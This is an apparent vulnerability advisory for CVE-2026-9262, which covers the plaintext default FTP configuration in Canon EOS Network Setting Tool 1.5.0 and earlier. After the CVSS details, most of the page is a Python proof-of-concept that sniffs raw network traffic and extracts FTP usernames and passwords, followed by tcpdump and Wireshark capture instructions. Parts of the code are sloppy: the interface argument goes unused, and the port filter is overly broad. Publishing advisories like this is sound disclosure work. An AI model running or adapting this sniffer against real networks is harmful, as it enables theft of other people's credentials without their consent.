Use of a non-secure protocol as the default FTP configuration in Canon EOS Network Setting Tool Version 1.5.0 or earlier
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Canon EOS Network Setting Tool <= 1.5.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9262 PoC - FTP Traffic Capture for Canon EOS Network Setting Tool
# This PoC demonstrates how FTP credentials and data can be captured in plain text
import socket
import struct
import os
def capture_ftp_traffic(interface='eth0', output_file='captured_ftp_traffic.pcap'):
"""
Capture FTP traffic using raw sockets
Requires root privileges to run
"""
try:
# Create raw socket to capture network packets
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
# Filter for FTP port (21) traffic
ftp_packets = []
print(f"[*] Starting FTP traffic capture on {interface}")
print("[*] Waiting for Canon EOS Network Setting Tool FTP connections...")
print("[*] Press Ctrl+C to stop capture")
while True:
packet, addr = sock.recvfrom(65535)
# Parse IP header
ip_header = packet[0:20]
iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
# Get TCP header
tcp_header = packet[iph[2]:iph[2]+20]
tcph = struct.unpack('!HHLLBBHHH', tcp_header)
src_port = tcph[0]
dst_port = tcph[1]
# Check for FTP traffic (port 21) or high ports for data transfer
if src_port == 21 or dst_port == 21 or (src_port >= 1024 or dst_port >= 1024):
payload_start = iph[2] + tcph[4] * 4
payload = packet[payload_start:]
try:
decoded_payload = payload.decode('utf-8', errors='ignore')
# Look for FTP commands and responses
if any(cmd in decoded_payload for cmd in ['USER', 'PASS', 'LIST', 'RETR', 'STOR']):
print(f"\n[!] FTP Command captured from {addr}:")
print(decoded_payload.strip())
ftp_packets.append(decoded_payload)
# Check for authentication responses
if '230' in decoded_payload or '530' in decoded_payload:
print(f"[!] FTP Response: {decoded_payload.strip()}")
ftp_packets.append(decoded_payload)
except:
pass
except PermissionError:
print("[-] Error: Requires root privileges")
print("[*] Run with: sudo python3 cve_2026_9262_poc.py")
except KeyboardInterrupt:
print("\n[*] Stopping capture...")
if ftp_packets:
with open(output_file, 'w') as f:
f.write('\n'.join(ftp_packets))
print(f"[*] Saved {len(ftp_packets)} packets to {output_file}")
def extract_ftp_credentials(capture_file):
"""
Extract FTP credentials from captured traffic
"""
print("\n[*] Analyzing captured FTP traffic...")
try:
with open(capture_file, 'r') as f:
content = f.read()
lines = content.split('\n')
for i, line in enumerate(lines):
if 'USER' in line:
username = line.split('USER')[1].strip() if 'USER' in line else ''
print(f"[+] FTP Username found: {username}")
if 'PASS' in line:
password = line.split('PASS')[1].strip() if 'PASS' in line else ''
print(f"[+] FTP Password found: {password}")
except FileNotFoundError:
print("[-] Capture file not found")
if __name__ == '__main__':
print("=" * 60)
print("CVE-2026-9262 PoC - Canon EOS Network Setting Tool FTP Capture")
print("=" * 60)
print("\n[!] Disclaimer: This PoC is for educational and authorized testing only")
print("\nMethod 1: Using tcpdump (Recommended)")
print(" sudo tcpdump -i eth0 'port 21' -A -w ftp_capture.pcap")
print("\nMethod 2: Using Wireshark")
print(" 1. Start Wireshark on target network interface")
print(" 2. Filter: tcp.port == 21")
print(" 3. Look for USER and PASS commands in plain text")
print("\n[*] Starting raw socket capture...")
capture_ftp_traffic()